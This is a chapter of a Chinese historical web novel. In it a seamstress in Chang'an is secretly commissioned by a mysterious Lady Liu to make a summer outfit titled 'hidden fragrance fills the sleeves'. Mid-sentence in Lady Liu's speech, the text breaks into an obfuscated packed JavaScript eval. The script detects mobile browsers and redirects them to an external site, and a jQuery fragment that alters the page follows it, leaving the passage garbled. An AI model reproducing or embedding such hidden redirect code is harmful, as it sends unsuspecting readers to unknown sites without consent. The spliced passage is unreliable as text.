她将更多精力投入到手头的工作上。为胡姬改的舞裙,她摒弃了胡舞惯常的浓艳色彩,选用了一匹品相不佳、颜色发暗的霞影纱。她将纱料重新漂洗、熏蒸,使其恢复了几分通透,然后巧妙地利用其本身颜色不均的特点,裁剪拼接,做成了一条仿佛落日余晖与暮色交融的渐变长裙,裙摆处缀以细小的铜铃,舞动时铃声清脆,光影迷离。胡姬试穿后喜极而泣,直言此裙能让她在众多舞姬中脱颖而出。 及笄礼的常服,主家要求端庄雅致,又不能过于老气。清伊黎选用了一匹雨过天青色的软缎,款式上严格遵守未嫁女子的规制,但在领口、袖缘和裙襴处,她用极细的银线掺着浅碧丝线,绣了连绵不绝的、抽象化的缠枝忍冬纹,纹样清雅灵动,在光线下隐隐流动,既符合身份,又暗合了少女初长成的生机。 这两件作品,让她收获了不错的酬金,也进一步巩固了“清氏”在小范围内的口碑。然而,那日宫纱与金线的华彩,始终在她心头萦绕,提醒着她另一个更高远、也更危险的世界。 就在她几乎要以为冯内侍那日之事只是一场意外的插曲,生活将回归原有轨道时,转机以一种意想不到的方式到来了。 那是一个午后,蝉鸣聒噪。一位戴着帷帽、身着普通青色襦裙的女子在一个小丫鬟的陪伴下,悄无声息地出现在了染坊后院门口。女子身姿窈窕,步履从容,虽看不清面容,但通身的气度与这杂乱的环境格格不入。 “请问,清娘子可在?”女子的声音透过薄纱传来,清泠悦耳。 清伊黎心中微动,放下手中的针线,迎了出去。“我就是。这位娘子有何见教?” 女子隔着帷帽打量了她片刻,似乎是在确认什么,然后才缓步走进院内,目光在简陋的环境里扫过,最后落在清伊黎正在缝制的那件天青色忍冬纹常服上,停留了数息。 “我姓柳。”女子开口,语气平和,却自带一种不容置疑的意味,“听闻清娘子手艺独特,尤擅配色与纹样,故特来请教。” 姓柳?清伊黎在脑中快速搜索,并不记得有这样一位客户。而且,对方用的是“请教”二字,姿态放得颇低,这与她通身的气度颇为矛盾。 “柳娘子过誉了,不过是糊口的手艺,当不得请教。”清伊黎谨慎回应。 柳娘子轻轻笑了一声,那笑声如风拂铃铛。“清娘子过谦了。能将淘汰的宫纱与金线,化作‘月下江波’,引动……贵人侧目,这岂是寻常糊口的手艺?” 清伊黎心中剧震,瞳孔微缩。月下江波!这件事,冯内侍明明严令保密,此人如何得知?她是什么人? 看到清伊黎瞬间绷紧的身体和警惕的眼神,柳娘子似乎并不意外。她示意丫鬟留在门外,自己则向前走了几步,靠近那件天青色常服,伸出带着玉镯的纤手,轻轻抚过那银碧交织的忍冬纹。 “纹样清雅,线条流畅,更难得的是这份‘隐而不露’的巧思。于规制内求变,于束缚中寻美。”她的点评一针见血,眼光毒辣堪比冯内侍。“清娘子可知,长安城中,有多少绣娘匠人,终其一生,也悟不透这一点。她们或墨守成规,呆板无趣;或一味求新,流于奇诡,失了根本。” 清伊黎沉默着,心中念头飞转。这位柳娘子,绝非普通顾客。她对宫廷规制、对服饰美学的理解,远超常人。是宫中女官?还是某位权贵府中的知情人? “柳娘子究竟是何人?来此有何指教?”清伊黎直接问道,不再绕弯子。 柳娘子收回手,帷帽轻抬,似乎正透过薄纱凝视着她。“我是何人,并不重要。重要的是,清娘子之才,困于这西市一隅,与废料为伍,实在可惜。” 她顿了顿,语气带着一丝意味深长:“‘月下江波’虽好,然宫中风云变幻,今日得青眼,明日或许便是罪愆。清娘子难道从未想过,为自己,也为你这身手艺,寻一条更稳妥、更长久的出路?” 清伊黎心潮起伏。她当然想过!依附权贵,固然能获得资源与庇护,但也意味着失去自由,成为他人的附庸。这正是她一直避免的。可柳娘子的话,也戳中了她内心的隐忧——冯内侍带来的机遇背后,确实隐藏着巨大的风险。 “柳娘子的意思是?” “长安城中,并非只有宫廷一处需要华服美饰。”柳娘子声音放缓,带着一种循循善诱的意味,“诸多高门望族,公卿之家,其内眷对服饰的追求,未必逊于宫中,且……束缚更少,机会更多。” 她轻轻抬手,从袖中取出一个小小的、精致的锦囊,递给清伊黎。“这里面,是‘暗香盈袖’的定金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441346|185010||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 暗香盈袖?清伊黎疑惑地接过锦囊,入手沉甸甸的,打开一看,竟是几片金叶子!其价值远超她之前所有收入的总和! “这是……” “我家主人,欲定制一套夏日晚妆。”柳娘子解释道,“要求只有四个字:‘暗香盈袖’。材质、款式、纹样,皆由清娘子自行斟酌。十日之后,我来取货。”她顿了顿,补充道,“主人说了,信重清娘子之才,望娘子莫要让她失望。” 说完,她不等清伊黎回应,微微颔首,便带着丫鬟转身离去,身影很快消失在院外的巷弄里,仿佛从未出现过。 清伊黎握着那沉甸甸的锦囊,站在原地,久久未动。 金叶子冰冷的触感提醒她这不是梦。“暗香盈袖”四个字,则在她脑海里盘旋。 没有具体要求,只有一句充满诗意的命题。这比明确的规制要求,更难。它考验的,是设计师对意境、对客户潜在需求的深度理解和转化能力。 这位神秘的柳娘子,和她背后那位更加神秘的主人,出手阔绰,行事诡秘,眼光极高。他们看中的,显然不是她模仿宫廷规制的能力,而是她在“月下江波”中展现出的、那种超越时代的审美和创造意境的能力。 这是一次试探,也是一次机会。一次脱离宫廷阴影,在权贵阶层中打开局面的机会。 稳妥?长久?清伊黎看着手中金光灿灿的叶子,嘴角慢慢勾起一抹复杂的弧度。这长安的水,果然深不见底。刚刚避开宫中的漩涡,又卷入了未知的暗流。 但,那又如何? 她转身回到屋内,将锦囊小心收好。目光扫过桌上那些寻常的布料,最终落在那件尚未完成的天青色常服上。 暗香盈袖…… 她闭上眼,脑海中开始勾勒。是夏夜庭院?是荷风送爽?是美人倚栏?是衣袖拂动间,带起的若有若无的冷香? 色彩不能浓艳,需清冷雅致。材质需轻薄透气,或许可以尝试将纱与罗结合?纹样不能外露,需含蓄内敛,或许可以借鉴“月下江波”中隐藏暗纹的手法?香气……如何将“香”与“衣”结合?熏香?缀以香囊?还是…… 无数的念头、无数的可能性在她脑中碰撞、融合。 挑战的火焰,再次在她眼底点燃。 她拿起炭笔,铺开草纸,深吸一口气,将所有的杂念——对冯内侍的等待,对柳娘子身份的猜测,对未来的不确定——都暂时抛诸脑后。 此刻,她的世界里,只剩下“暗香盈袖”这四个字,以及如何用针线布料,将其化为现实的、纯粹的创作冲动。 西市依旧喧嚣,蝉鸣不止。陋室之中,清伊黎伏案疾画,神情专注,仿佛外界一切纷扰都已与她无关。 暗流已至,她唯有乘风破浪。而这“暗香”,便是她驶向未知深海的第一片帆。